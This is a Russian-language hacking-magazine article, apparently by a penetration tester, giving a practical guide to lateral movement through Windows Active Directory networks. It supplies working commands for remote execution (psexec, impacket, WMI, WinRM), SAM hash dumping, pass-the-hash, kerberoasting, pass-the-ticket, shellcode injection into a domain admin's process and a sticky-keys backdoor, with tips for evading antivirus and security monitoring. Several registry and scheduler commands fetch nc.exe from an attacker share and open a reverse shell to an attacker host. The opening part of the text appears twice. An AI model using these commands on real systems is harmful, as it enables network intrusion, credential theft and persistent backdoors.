Проникновение в атакуемую сеть — только первый этап взлома. На втором этапе необходимо в ней закрепиться, получить учетные записи пользователей и обеспечить возможность запуска произвольного кода. В сегодняшней статье мы поговорим о методах, позволяющих добиться этой цели, а также о том, как выполняется боковое перемещение в скомпрометированной сети.
Читай также: «Кунг‑фу pivoting. Выжимаем максимум из постэксплуатации».
После того как ты проник за внешний периметр и попал во внутреннюю сеть компании, необходимо расширить в ней собственное присутствие, если хочешь найти там что‑то интересное. Как ни странно, чем больше размер внутренней сети компании, тем проще ее взломать. И напротив, если компания совсем небольшая, сеть взломать порою крайне сложно. Почему так? Чем больше сеть, тем больше в ней может встретиться уязвимых или небезопасно настроенных компонентов. При этом часто компрометация одного узла влечет за собой компрометацию сразу множества смежных с ним узлов.
Во внутренних сетях обычно преобладают серверы и рабочие станции под управлением Windows. В то же время эта ОС наиболее интересна с точки зрения способов компрометации, так как по умолчанию имеет множество интерфейсов для удаленного выполнения кода. Кроме того, атакующему доступно большое количество способов извлечения учетных данных. Я не буду касаться бокового перемещения по серверам Linux: они редко включены в домен и не имеют такого разнообразия дефолтных интерфейсов для удаленного администрирования. При боковом перемещении Linux интересен главным образом как удобная точка опоры.
Боковое перемещение подразумевает легитимное удаленное исполнение кода. То есть все представленные в статье способы подразумевают наличие действующей учетной записи для того или иного ПК. При этом почти всегда будет требоваться административная учетная запись.
Основная задача при боковом перемещении — привлекать как можно меньше внимания пользователей и службы безопасности, а также постараться не вызвать тревогу у средств антивирусной защиты. Наиболее эффективно использовать штатные средства операционной системы, то есть абсолютно легитимные и неотличимые от действий обычных администраторов сети.
Мы не будем обсуждать основные уязвимости Windows, атаки в локальных сетях и способы поднять привилегии в среде Active Directory. Вместо этого поговорим исключительно о легальных вещах: в каких потаенных уголках Windows можно найти учетные записи и что с ними потом делать. Все представленные дальше способы не считаются уязвимостями, а представляют собой трюки by design, следовательно, при грамотном исполнении это полностью легальные процедуры.
Все примеры основаны на реальных ситуациях, с которыми можно столкнуться при перемещении по самым настоящим внутренним сетям. Поэтому, как обычно, коснемся проблемы максимально тихого перемещения с возможностью байпаса антивирусов, а также сделаем акцент на то, какие сетевые порты нам для этого потребуются.
После взятия контроллеров домена иногда бывает необходимо двигаться дальше — в некий особо охраняемый сегмент, представляющий собой объекты «бизнес‑риска». Это может быть сегмент АСУ ТП, вмешательство в технологический процесс, доступ в сегмент SWIFT, если мы имеем дело с банками, либо же просто доступ на ПК генерального директора. В каждом случае мы можем столкнуться с разными сложностями бокового перемещения, о которых пойдет речь дальше.
Часть инструментов загружает на target исполняемый файл службы, пытаясь обеспечить нам удобный интерактивный режим. Но тут кроется опасность: такие сервисы зачастую будут заблокированы антивирусом. Плюс к этому IP атакующего может быть заблокирован, что затормозит перемещение. И SOC узнает о том, что в сеть кто‑то проник.
Большую часть бокового перемещения мы будем выполнять с помощью замечательного Python-пакета impacket. Для его установки требуется выполнить команду pip install impacket. После установки необходимые исполняемые файлы будут находиться в папке impacket/examples, расположение которой подскажет команда pip show -f impacket.
Главный плюс для нас в том, что серверный компонент psexecsvc.exe подписан сертификатом Sysinternals (который принадлежит Microsoft) и, следовательно, стопроцентно легитимная программа. Также к явным достоинствам классического psexec.exe относится способность выполнять код в указанных пользовательских сеансах:
С помощью произвольной команды можно скрыть запуск службы удаленного администрирования
Чтобы psexec.py не скопировал палевный компонент, указываем принудительно, какой файл использовать в качестве службы. И, поскольку мы уже вручную прописали команду, этим файлом может быть что угодно:
Таким образом, мы напрямую выполнили команду mkdir c:\pwn, что, конечно же, не вызовет реакции со стороны антивирусов. Однако подобная модификация psexec лишает нас того удобства использования, которое было изначально.
В целом он полностью идентичен другим подобным инструментам, однако реже обнаруживается антивирусами. Но все же нельзя сказать, что winexe на сто процентов безопасен. Тем не менее его можно использовать для подстраховки на случай, если psexec.py вдруг не сработает.
В результате будет открыт доступ к интерактивной командной строке.
Создать новую службу, указав произвольную команду:
Запустить только что созданную службу:
Замести следы и удалить ее:
Все это дает нам еще один способ слепого неинтерактивного исполнения команд, то есть без результата. Зато это на сто процентов безопасный способ, и он не раз выручал меня, когда антивирусы на удаленном хосте убивали весь левый софт.
А вот для atexec.py команда выполнится с результатом:
Вся разница в том, что результат выполнения команды будет направлен в файл и прочитан через сетевой ресурс ADMIN$. Для своей работы инструмент требует, чтобы часы у attacker и target были настроены на одно время с точностью до минуты.
Здесь используется обработчик запуска программы. Если программа запускается на ПК часто, то получим почти мгновенное RCE:
Мой любимый трюк с бэкдором в RDP:
Очень часто сетевые администраторы и безопасники, которые в курсе наиболее распространенных векторов атак, в качестве mitigation просто блокируют порт 445/TCP. Тем самым они делают непригодным использование psexec и многих других способов, описанных выше. Однако, как было сказано ранее, Windows имеет множество способов удаленного исполнения кода, и DCERPC предоставляет нам такую альтернативную возможность, в некоторых случаях открывая доступ к тем же RPC-интерфейсам. По сути, мы будем использовать не сам DCERPC, а то, что работает по его технологии, например WMI.
Однако было замечено, что хоть wmiexec.py и не запускает на удаленной стороне никаких сторонних исполняемых файлов, антивирусы его иногда ловят. Кроме того, wmiexec.py полезет за результатом на шару ADMIN$, чем задействует порт 445/TCP. Более безопасным вариантом будет слепое RCE:
Чтобы обойти использование порта 445/TCP, можно ограничиться слепым исполнением кода:
Принципиальной разницы между ними я не заметил, за исключением того, что одна может не сработать.
Единственная команда Windows, которая неинтерактивно принимает логин и пароль через опции, что позволяет вызывать ее откуда угодно. Данная команда потом нам сильно поможет получить админскую учетную запись.
При этом в отличие от services.py мы используем для этого совсем другие порты, так как здесь задействован DCERPC.
Еще с использованием PowerShell можно выполнять команды и командлеты:
Тут на помощь приходят обычные групповые политики. Их преимущество перед всеми описанными ранее методами состоит в том, что они работают как бы по схеме reverse-connect. Если до этого мы сами инициировали подключение и нам требовались открытые порты на target (135, 445, 3389, 5985, 4915x), то все, что понадобится тут, — это доступ к самому DC. Как правило, DC не прячется за файрволами, поэтому с его администрированием не должно возникнуть проблем.
С помощью оснастки gpmc.msc создаем групповую политику для нужного контейнера. В каком контейнере находится target, поможет определить оснастка dsa.msc. После создания политики на событие logon вешается скрипт на VBS с произвольным содержимым. Для срабатывания RCE нужно ждать, когда пользователь целевой машины повторно войдет в систему.
Часто такие критические компоненты внутренней инфраструктуры, как контроллер домена, охраняются SIEM. Изменение в его конфигурации, в том числе создание нового объекта групповой политики, может отслеживаться и очень негативно восприниматься безопасниками. Поэтому вместо создания новой групповой политики лучше найти существующую и внедрить нужный код в скрипт, расположенный в шаре SYSVOL.
В таблице ниже приведены основные особенности разных методов аутентифицированного исполнения кода в дефолтном исполнении (без модификаций).
Каждый сам выбирает для себя любимый инструмент. Но нужно иметь в виду, что иногда инструмент может не сработать. И тогда надо иметь подстраховку, уметь выполнить код еще несколькими способами. Эта таблица поможет тебе сориентироваться.
Видно, что наиболее «бесшумным» способом исполнения кода остаются компоненты Windows (winrs.exe, sc.exe, reg.exe, at.exe, wmic.exe, psexec.exe), но не все из них могут похвастаться удобством. Утилиты sc.exe, reg.exe, at.exe не поддерживают передачу имени пользователя через опции, поэтому для их использования надо запустить cmd от нужного пользователя, а в случае с локальной учеткой — предварительно создать ее.
Только что мы рассмотрели разные способы аутентифицированного исполнения кода, то есть legal RCE с учетной записью. Теперь поговорим о том, где эти самые учетные записи можно найти, какие они бывают и в каком виде представлены.
Главная идея использования локальных учетных записей состоит в том, что один и тот же пароль может встретиться на целом ряде ПК и серверов. Порою бывает, что такие локальные учетки приводят прямо на ПК админов или сразу на контроллер домена.
Локальные пользователи вместе с NTLM-хешами хранятся в реестре по пути HKLM\sam. Сам по себе SAM (Security Account Manager) — это отдельный куст реестра, который лежит в \windows\system32\config наряду с другими кустами. Примечательно, что даже администратор (за исключением system) не может получить доступ к HKLM\sam с помощью regedit.exe или напрямую скопировав файл из системной директории. Однако команда reg.exe позволяет сделать это. Очень важно, что мы будем извлекать системные файлы с помощью встроенных компонентов ОС, а анализировать их уже на нашей системе. Тем самым мы абсолютно точно не вызовем антивирусной тревоги.
Для извлечения локальных учетных записей понадобится два куста реестра:
На своей стороне для извлечения хешей локальных учеток используем следующую команду:
Также можно воспользоваться уже известным набором impacket:
Полностью автоматизированный подход с помощью доступа через remote registry выглядит так:
В результате получаем хеши в формате Username:RID:LM-hash:NTLM-hash:::. В новых системах (начиная с Windows 7/2008R2) LM-хеш может быть пустым, то есть иметь значение aad3b435b51404eeaad3b435b51404ee, так как LM-хеши больше не используются по соображениям безопасности. Пустой пароль NTLM-хеша, в свою очередь, — это 31d6cfe0d16ae931b73c59d7e0c089c0. Во время бокового перемещения, когда хешей очень много, такие хеши надо обнаруживать сразу и отбрасывать, так как ограничение пустого пароля не позволит выполнить удаленный вход.
В дистрибутиве Kali есть девять специально собранных популярных инструментов для реализации техники Pass-the-Hash. Все они начинаются на pth-:
Начиная с версии xfreerdp v2.0.0 и только для Windows 2012 R2 и Windows 8.1 можно пройти аутентификацию с использованием NTLM-хеша по RDP:
Современный WinRM, к счастью, тоже не подкачал:
Все примеры выше — это Pass-the-Hash для Linux. Мы упоминали инструменты Windows для удаленного исполнения кода: psexec.exe, at.exe, reg.exe, wmic.exe, sc.exe, winrs.exe. Чтобы использовать их в атаках Pass-the-Hash, нужно создать временную сессию с помощью mimikatz:
Затем в появившемся окне cmd нужный NTLM-хеш будет автоматически подставлен для любой вызываемой программы:
Кстати, посчитать NTLM-хеш для парольной фразы можно и самостоятельно:
Либо классический брутфорс по словарю:
Раньше, кстати, существовал замечательный китайский ресурс, который любой LM-хеш мог превратить в plaintext.
Для John:
И LM-, и NTLM-хеши могут быть также найдены и для доменных пользователей при анализе памяти lsass.exe или в базе ntds.dit. Они никогда не передаются по сети как есть, вместо этого они транслируются в виде NetNTLM/NetNTLMv2-хешей, которые непригодны для Pass-the-Hash. Данные типы хешей одноразовые и могут быть использованы только в момент передачи (техника NTLM-relay) либо для брутфорс‑атак на достаточно больших скоростях.
Суть ее заключается в том, что для некоторых сервисных учетных записей с контроллера домена можно выгрузить TGS-билет Kerberos для доступа к той или иной службе. Эти билеты зашифрованы паролем (NTLM-хешем) соответствующего пользователя. А это значит, что такие билеты могут быть подвержены офлайн‑атаке подбором пароля по словарю. Поэтому крайне важно любой ценой достать эти билеты.
Всех пользователей, у которых можно выгрузить TGS-билет, можно найти поисковым LDAP-фильтром:
Классический kerberoasting можно выполнить многими способами. Например, с помощью impacket, действуя из Linux:
Если атакующий использует Windows, то же самое можно сделать, например, с помощью rubeus.exe:
Rubeus редко палится антивирусами. Но если мы рассуждаем о постэксплуатации, то нужно быть готовым к самым разным сложностям. Точкой проникновения во внутреннюю сеть может стать машина под управлением Windows, из‑за чего придется использовать ее небогатый арсенал.
Существует способ выполнить kerberoasting базовыми средствами ОС с помощью PowerShell:
Однако в этом случае билеты получит Windows, а не мы. Они будут сохранены в памяти. К сожалению, базовыми средствами ОС невозможно сдампить полученные Kerberos-билеты в форму, пригодную для брутфорса.
Однако иногда антивирус не давал мне подобраться к lsass.exe, что, в принципе, и понятно.
Полученный дамп будет внушительного размера — несколько гигабайтов. Для извлечения из него билетов потребуется отладчик WinDbg и плагин для него mimilib.dll:
Брутфорс будет происходить на достаточно высокой скорости — более 1 миллиона в секунду ($krb5tgs$23 RC4).
Под Windows для импорта билета в формате kirbi используется следующий подход:
Для импорта в формате ccache:
После импорта используем любую нужную нам программу без указания каких‑либо ключей:
Под Linux делаем Pass-the-Ticket в формате ccache:
Как упоминалось, Linux формат kirbi не понимает. Поэтому билет нужно сконвертировать в ccache c помощью kekeo.exe:
После импорта билеты в Linux используем следующим образом:
Также инструменты из набора impacket могут использовать билеты без предварительного импорта:
Чтобы использовать Kerberos-билет при аутентификации, нужно обращаться к target по имени, а не по IP-адресу.
В нем хранятся хеши доменных учетных записей. Чтобы получить их, выполняем следующую команду:
Для старых версий Windows creddump7 не всегда извлекает хеши, в таком случае может пригодиться старый же вариант creddump:
Аналогично можно воспользоваться инструментом из impacket:
Из того же кеша есть шанс получить сохраненные пароли для служб открытым текстом:
При боковом перемещении шанс встретить в кеше учетную запись администратора домена очень велик. Правда, тут есть одно но: поскольку это кеш, то нет гарантии, что пароль после кеширования не менялся.
Существует две версии этого хеша — dcc1 (mscash1) и dcc2 (mscash2). Данные хеш‑функции имеют абсолютно одинаковую длину, и незнание версии ОС может привести к очень долгому безуспешному подбору пароля. Так, если у нас Windows XP/2003, то используется dcc1:
Если Windows Vista/2008–10/2019, то это dcc2:
Стоит отметить, что старые Windows XP/2003 более перспективны для бокового перемещения, так как используемая ими хеш‑функция dcc1 в 3000 раз слабее и, следовательно, более подвержена атакам подбором пароля. Поэтому, если доменный администратор когда‑то выполнял вход на устаревшую ОС Windows, он, сам того не осознавая, заметно ослабил защиту всей инфраструктуры. Это еще один повод отказаться от старых версий Windows.
Инструменты mimikatz.exe или wce.exe умеют извлекать для активных сессий хеши и пароли открытым текстом:
Однако антивирусы почему‑то их очень не любят. Тут снова на помощь может прийти техника дампа памяти.
Проанализировать дамп памяти мы сможем с помощью отладчика WinDbg и специального модуля для него от автора mimikatz:
Также у всем известного фреймворка для форензики Volatility для этой цели существует специальный модуль:
Но тут придется ждать, пока админ выполнит повторный логон. Введенные учетные данные будут записаны в c:\windows\system32\mimilsa.log.
Но так ли нам нужен пароль этого администратора домена? Подумаем хорошенько: мы зашли на сервер под одной учетной записью и хотим получить пароль от другой. В пределах текущего ПК и наша, и админская учетки находятся на равных уровнях — мы оба локальные администраторы этого ПК. Это значит, что мы можем взаимодействовать как с домашним каталогом нужной нам учетки, так и с памятью его процессов.
Говоря более конкретно, мы имеем полное право писать код в память процессов, работающих от имени доменного администратора, и запускать в нем произвольные потоки. То есть мы можем просто сгенерировать шелл‑код с произвольной командой и выполнить ее от имени администратора домена, заинжектив ее в любой процесс нужного пользователя. И для этого нам не потребуется даже пароль этого админа:
Мы сгенерили шелл‑код, который с помощью WMI выполнит на контроллере домена команду, активирующую sticky keys. Желательно сделать этот шелл‑код как можно более безобидным — в данном случае он закодирован в ASCII-команды, так что будет выглядеть как простой текстовый файл. Обычно антивирусы такое не трогают.
Теперь все, что нам нужно, — это выбрать процесс администратора домена с помощью команды qprocess *. Часто админские процессы висят в параллельной сессии RDP, иногда — забытой. Поэтому в качестве цели можно взять, например, explorer.exe. Далее мы выделяем в нем немного памяти, записываем туда наш шелл‑код и запускаем поток c помощью shellcode_inject.exe:
Только что мы внедрили в контекст администратора домена код, который на контроллере домена удаленно запустил команду, активирующую бэкдор. Теперь подключимся к этому домену:
Мы увидим хорошо знакомую картину.
Результат внедрения шелл‑кода в админский процесс — активация бэкдора на контроллере домена
Доступ к контроллеру домена получен. Это значит, что мы можем выполнить репликацию доменных учетных записей, включая системную учетную запись krbtgt. С ее помощью можно «нарисовать» TGT Kerberos-билет того самого админа и авторизоваться от его имени уже второй раз, не зная никакого пароля. Эта техника называется golden ticket.
Подведем небольшой итог по самым распространенным типам хешей Windows и областям их использования.
Поэтому важно уметь исполнять код разными способами не на одной машине, а сразу на группе целей. Тут лучший, на мой взгляд, инструмент — crackmapexec. Эта тулза имеет крайне богатый арсенал функций. Она может быть использована также для брутфорса и много чего еще, что выходит за рамки данной статьи.
Синтаксис для использования локальных учетных записей выглядит следующим образом:
Для доменных:
При этом любой аргумент может быть как значением, так и файлом, содержащим список значений. Перед тем как начать массово исполнять код, нужно определиться, какие учетные записи на какие ПК имеют доступ.
Для какой‑то конкретной учетки мы можем сделать проверку прав сразу на группе целей:
Чаще при боковом перемещении имеешь дело не с одной, а с десятками, а то и c сотнями учетных записей. В новых версиях cme для этого появилась возможность проверки combo-сочетаний:
Все учетные записи, которые к чему‑то подошли, сохраняются в базе и доступны через команду cmedb. Команду можно использовать с целью получения информации для SMB:
Список сохраненных учетных записей:
Список хостов, на которые были попытки входа:
Сохраненные таким образом учетные записи в дальнейшем можно использовать в cme по ID:
Для выполнения командлетов PowerShell:
Исполнение команд разными способами:
Используем технику Pass-the-Hash на группе целей:
Используем технику Pass-the-Ticket на группе целей:
Также cme позволяет полностью автоматизировать процесс сбора локальных учетных записей и кеша доменных:
Эта команда автоматизирует практически все описанные выше действия — соберет все, что можно, используя каждую из учетных записей. Также crackmapexec имеет дополнительные модули, расширяющие его и без того богатую функциональность. В частности, имеется модуль mimikatz для массового извлечения доменных учеток активных сессий:
Однако запускать его в реальной среде я бы не рекомендовал из‑за высокого риска обнаружения антивирусом.
Как бы абсурдно это ни прозвучало, отказ от Active Directory улучшил бы защищенность многих внутренних сетей. На моей практике был показательный случай, когда за полтора дня была захвачена огромная внутренняя сеть в 140 тысяч ПК, но в то же время за пять дней не поддалась крошечная компания в десять человек, не использующая Active Directory.
Сложно себе представить сеть компании, которая сдержала бы натиск всех описанных приемов. Слишком многое может оказаться неочевидным для администраторов, и тогда одна ошибка приводит к краху всей инфраструктуры.
В сетях с Active Directory мы имеем экосистему с единым центром — контроллером домена. И для его компрометации необязательно атаковать сеть прямо в лоб. Как правило, к компрометации домена приводят не уязвимости в ПО, а простые недочеты — избыточное количество админских учеток либо их чрезмерное использование налево и направо, использование одинаковых паролей локальных учетных записей или же просто слабые пароли.
Рассмотренные методы составляют примерно 10% угроз внутренней инфраструктуры и лишь одну десятую обычного арсенала хакера. Ведь существуют еще уязвимости ПО и атаки на ЛВС. Active Directory вместе с Windows, имея множество неочевидных изъянов в безопасности, создает для атакующего крайне удобную среду для продвижения, в которой каждый хост находится в доверительных отношениях с соседними узлами сети. После успешного взлома одного такого хоста начинается цепная реакция взломов, которая доходит до админских ПК и серверов, а потом уже и до АСУ ТП или SWIFT. И чем больше сеть, тем сложнее соблюдать порядок, тем больше вероятность встретить misconfiguration и тем выше будет цена такой ошибки.
Автор @s0i37
источник: xakep.ru
Читай также: «Кунг‑фу pivoting. Выжимаем максимум из постэксплуатации».
После того как ты проник за внешний периметр и попал во внутреннюю сеть компании, необходимо расширить в ней собственное присутствие, если хочешь найти там что‑то интересное. Как ни странно, чем больше размер внутренней сети компании, тем проще ее взломать. И напротив, если компания совсем небольшая, сеть взломать порою крайне сложно. Почему так? Чем больше сеть, тем больше в ней может встретиться уязвимых или небезопасно настроенных компонентов. При этом часто компрометация одного узла влечет за собой компрометацию сразу множества смежных с ним узлов.
Во внутренних сетях обычно преобладают серверы и рабочие станции под управлением Windows. В то же время эта ОС наиболее интересна с точки зрения способов компрометации, так как по умолчанию имеет множество интерфейсов для удаленного выполнения кода. Кроме того, атакующему доступно большое количество способов извлечения учетных данных. Я не буду касаться бокового перемещения по серверам Linux: они редко включены в домен и не имеют такого разнообразия дефолтных интерфейсов для удаленного администрирования. При боковом перемещении Linux интересен главным образом как удобная точка опоры.
Боковое перемещение подразумевает легитимное удаленное исполнение кода. То есть все представленные в статье способы подразумевают наличие действующей учетной записи для того или иного ПК. При этом почти всегда будет требоваться административная учетная запись.
Основная задача при боковом перемещении — привлекать как можно меньше внимания пользователей и службы безопасности, а также постараться не вызвать тревогу у средств антивирусной защиты. Наиболее эффективно использовать штатные средства операционной системы, то есть абсолютно легитимные и неотличимые от действий обычных администраторов сети.
Мы не будем обсуждать основные уязвимости Windows, атаки в локальных сетях и способы поднять привилегии в среде Active Directory. Вместо этого поговорим исключительно о легальных вещах: в каких потаенных уголках Windows можно найти учетные записи и что с ними потом делать. Все представленные дальше способы не считаются уязвимостями, а представляют собой трюки by design, следовательно, при грамотном исполнении это полностью легальные процедуры.
Все примеры основаны на реальных ситуациях, с которыми можно столкнуться при перемещении по самым настоящим внутренним сетям. Поэтому, как обычно, коснемся проблемы максимально тихого перемещения с возможностью байпаса антивирусов, а также сделаем акцент на то, какие сетевые порты нам для этого потребуются.
СТРАТЕГИЯ БОКОВОГО ПЕРЕМЕЩЕНИЯ
Итак, боковое перемещение — это одновременное сочетание двух техник:- аутентифицированного удаленного выполнения кода;
- извлечения секретной информации после получения доступа.
- перехват управления контроллерами домена;
- достижение изолированных критических сетевых сегментов (например, АСУ ТП, SWIFT);
- поиск критической информации на ПК (секретные документы, платежные реквизиты и так далее).
После взятия контроллеров домена иногда бывает необходимо двигаться дальше — в некий особо охраняемый сегмент, представляющий собой объекты «бизнес‑риска». Это может быть сегмент АСУ ТП, вмешательство в технологический процесс, доступ в сегмент SWIFT, если мы имеем дело с банками, либо же просто доступ на ПК генерального директора. В каждом случае мы можем столкнуться с разными сложностями бокового перемещения, о которых пойдет речь дальше.
УДАЛЕННОЕ ВЫПОЛНЕНИЕ КОДА В WINDOWS
Рассмотрим несколько способов удаленного исполнения кода в Windows с помощью учетной записи. Некоторые средства предоставляют удобный интерактивный режим, а некоторые — только слепой запуск команд без получения результата. Начнем обзор с самых удобных и широко распространенных инструментов и постепенно перейдем к менее популярным, но все же способным исполнить код.Часть инструментов загружает на target исполняемый файл службы, пытаясь обеспечить нам удобный интерактивный режим. Но тут кроется опасность: такие сервисы зачастую будут заблокированы антивирусом. Плюс к этому IP атакующего может быть заблокирован, что затормозит перемещение. И SOC узнает о том, что в сеть кто‑то проник.
Большую часть бокового перемещения мы будем выполнять с помощью замечательного Python-пакета impacket. Для его установки требуется выполнить команду pip install impacket. После установки необходимые исполняемые файлы будут находиться в папке impacket/examples, расположение которой подскажет команда pip show -f impacket.
MSRPC
Это реализация DCERPC от Microsoft. По сути, расширяет открытый DCERPC при помощи доступа через именованные пайпы с использованием протокола SMB. Главным образом использует 445-й TCP-порт. Перечислить доступные пайпы по словарю на SMB поможет модуль auxiliary/scanner/smb/pipe_auditor.psexec.exe
- Происхождение: sysinternals
- AV-риск: отсутствует
- Используемые порты: 135, 445, 4915x/TCP
Код:
psexec.exe -u admin \\target cmd
Код:
psexec.exe -u admin -i 2 \\target shutdown /lpsexec.py
- Происхождение: Python-пакет impacket
- AV-риск: есть
- Используемые порты: 445/TCP
/usr/local/lib/python3.7/dist-packages/impacket/examples/serviceinstall.py произвольную команду, которая будет выполнена вместо запускаемой службы удаленного администрирования.
С помощью произвольной команды можно скрыть запуск службы удаленного администрирования
Чтобы psexec.py не скопировал палевный компонент, указываем принудительно, какой файл использовать в качестве службы. И, поскольку мы уже вручную прописали команду, этим файлом может быть что угодно:
Код:
psexec.py -file somefile.txt admin@targetwinexe
- Происхождение: пакет winexe
- AV-риск: есть
- Используемые порты: 445/TCP
Код:
winexe -U admin //target cmdsmbexec.py
- Происхождение: Python-пакет impacket / встроенный компонент Windows
- AV-риск: есть
- Используемые порты: 445/TCP
Код:
smbexec.py -mode SHARE admin@targetservices.py
- Происхождение: Python-пакет impacket
- AV-риск: отсутствует
- Используемые порты: 445/TCP
Код:
services.py admin@target list
Код:
services.py admin@target create -name 1 -display 1 -path 'cmd arg1 arg2'
Код:
services.py admin@target start -name 1
Код:
services.py admin@target delete -name 1atexec.py/at.exe
- Происхождение: Python-пакет impacket / встроенный компонент Windows
- AV-риск: отсутствует
- Используемые порты: 445/TCP
Код:
at.exe \\target 13:37 "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"
Код:
atexec.py admin@target ipconfigreg.exe
- Происхождение: компонент Windows
- AV-риск: отсутствует
- Используемые порты: 445/TCP
Код:
reg.exe add \\target\HKLM\software\microsoft\windows\currentversion\run /v testprog /t REG_SZ /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"
Код:
reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t reg_sz /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"
Код:
reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"DCERPC
Использует порты 135/TCP и 4915x/TCP, где 4915x — динамически назначаемые порты. Иногда могут использоваться порты из другого диапазона.Очень часто сетевые администраторы и безопасники, которые в курсе наиболее распространенных векторов атак, в качестве mitigation просто блокируют порт 445/TCP. Тем самым они делают непригодным использование psexec и многих других способов, описанных выше. Однако, как было сказано ранее, Windows имеет множество способов удаленного исполнения кода, и DCERPC предоставляет нам такую альтернативную возможность, в некоторых случаях открывая доступ к тем же RPC-интерфейсам. По сути, мы будем использовать не сам DCERPC, а то, что работает по его технологии, например WMI.
wmiexec.py
- Происхождение: Python-пакет impacket
- AV-риск: есть
- Используемые порты: 135, (445), 4915x/TCP
Код:
wmiexec.py admin@target
Код:
wmiexec.py -nooutput admin@target "mkdir c:\pwn"dcomexec.py
- Происхождение: Python-пакет impacket
- AV-риск: отсутствует
- Используемые порты: 135, (445), 4915x/TCP
Код:
dcomexec.py admin@target
Код:
dcomexec.py -nooutput admin@10.0.0.64 "mkdir c:\123"wmis
- Происхождение: пакеты wmi-client, wmis
- AV-риск: есть
- Используемые порты: 135, 4915x/TCP
Код:
wmis -U admin //target "mkdir c:\pwn"wmic.exe
- Происхождение: компонент Windows
- AV-риск: отсутствует
- Используемые порты: 135, 4915x/TCP
Код:
wmic.exe /user:username /password:s3cr3t /node:target process call create '"c:\1.bat"'sc.exe
- Происхождение: компонент Windows
- AV-риск: отсутствует
- Используемые порты: 135, 4915x/TCP
Код:
sc.exe \\target create testservice binPath= \path\to\prog start= auto
sc.exe \\target start testserviceWinRM
Под этим названием скрывается новое средство удаленного администрирования Windows Remote Management, появившееся в Windows 7/2008. Использует для своей работы в качестве транспорта протокол HTTP. Но по умолчанию WinRM работает только на серверных Windows Server 2012–2019, на клиентских же Windows 7–10 требуется включить его вручную. Тем не менее, когда главная цель — это работающий на Windows Server контроллер домена, данный способ довольно полезен.Evil-WinRM
- Происхождение: Ruby-пакет evil-winrm
- AV-риск: отсутствует
- Используемые порты: 5985/TCP (5986/TCP)
Код:
evil-winrm -u admin -i targetWinRS.exe/PowerShell
- Происхождение: компонент Windows
- AV-риск: отсутствует
- Используемые порты: 5985/TCP (5986/TCP)
Код:
c:> winrs.exe -u admin -r:target cmd
Код:
PS:> Enter-PSSession -ComputerName target -Credential admin
PS:>Invoke-Command -ScriptBlock {ipconfig;get-process} -ComputerName (Get-Content targets.txt)RDP
- Происхождение: пакеты freerdp2-x11, rdesktop, компонент Windows mstsc.exe и другие
- AV-риск: отсутствует
- Используемые порты: 3389/TCP
Код:
xfreerdp /u:admin /v:target
rdesktop -u admin target
mstsc.exe /v:targetGP
Групповые политики могут помочь в исполнении кода на хорошо защищенных ПК, полностью закрытых файрволом либо расположенных в изолированных сетях. Их используют в ситуации, когда контроллер домена уже взят, но надо двигаться дальше.Тут на помощь приходят обычные групповые политики. Их преимущество перед всеми описанными ранее методами состоит в том, что они работают как бы по схеме reverse-connect. Если до этого мы сами инициировали подключение и нам требовались открытые порты на target (135, 445, 3389, 5985, 4915x), то все, что понадобится тут, — это доступ к самому DC. Как правило, DC не прячется за файрволами, поэтому с его администрированием не должно возникнуть проблем.
С помощью оснастки gpmc.msc создаем групповую политику для нужного контейнера. В каком контейнере находится target, поможет определить оснастка dsa.msc. После создания политики на событие logon вешается скрипт на VBS с произвольным содержимым. Для срабатывания RCE нужно ждать, когда пользователь целевой машины повторно войдет в систему.
Часто такие критические компоненты внутренней инфраструктуры, как контроллер домена, охраняются SIEM. Изменение в его конфигурации, в том числе создание нового объекта групповой политики, может отслеживаться и очень негативно восприниматься безопасниками. Поэтому вместо создания новой групповой политики лучше найти существующую и внедрить нужный код в скрипт, расположенный в шаре SYSVOL.
В таблице ниже приведены основные особенности разных методов аутентифицированного исполнения кода в дефолтном исполнении (без модификаций).
Каждый сам выбирает для себя любимый инструмент. Но нужно иметь в виду, что иногда инструмент может не сработать. И тогда надо иметь подстраховку, уметь выполнить код еще несколькими способами. Эта таблица поможет тебе сориентироваться.
Видно, что наиболее «бесшумным» способом исполнения кода остаются компоненты Windows (winrs.exe, sc.exe, reg.exe, at.exe, wmic.exe, psexec.exe), но не все из них могут похвастаться удобством. Утилиты sc.exe, reg.exe, at.exe не поддерживают передачу имени пользователя через опции, поэтому для их использования надо запустить cmd от нужного пользователя, а в случае с локальной учеткой — предварительно создать ее.
Только что мы рассмотрели разные способы аутентифицированного исполнения кода, то есть legal RCE с учетной записью. Теперь поговорим о том, где эти самые учетные записи можно найти, какие они бывают и в каком виде представлены.
Локальные учетные записи
При аутентификации юзеров Windows не различает регистр имени пользователя: ADMIN для нее то же, что и admin. Это справедливо и для локальных, и для доменных учетных записей.Главная идея использования локальных учетных записей состоит в том, что один и тот же пароль может встретиться на целом ряде ПК и серверов. Порою бывает, что такие локальные учетки приводят прямо на ПК админов или сразу на контроллер домена.
Локальные пользователи вместе с NTLM-хешами хранятся в реестре по пути HKLM\sam. Сам по себе SAM (Security Account Manager) — это отдельный куст реестра, который лежит в \windows\system32\config наряду с другими кустами. Примечательно, что даже администратор (за исключением system) не может получить доступ к HKLM\sam с помощью regedit.exe или напрямую скопировав файл из системной директории. Однако команда reg.exe позволяет сделать это. Очень важно, что мы будем извлекать системные файлы с помощью встроенных компонентов ОС, а анализировать их уже на нашей системе. Тем самым мы абсолютно точно не вызовем антивирусной тревоги.
Для извлечения локальных учетных записей понадобится два куста реестра:
Код:
reg.exe save hklm\sam sam
reg.exe save hklm\system system
Код:
creddump7\pwdump.py system sam
Код:
secretsdump.py -system system -sam sam LOCAL
Код:
secretsdump.py admin@targetPass-the-Hash
Windows имеет хорошо известную и достаточно забавную особенность, позволяющую использовать для аутентификации NTLM-хеш без необходимости выполнять его брутфорс и восстанавливать пароль. Все извлеченные NTLM-хеши (отличные от 31d6cfe0d16ae931b73c59d7e0c089c0) могут использоваться для аутентификации на следующих типах сервисов:- MSRPC (SMB);
- DCERPC (WMI);
- WINRM;
- MS SQL;
- RDP (только Windows 2012 R2 и Windows 8.1);
- LDAP;
- IMAP;
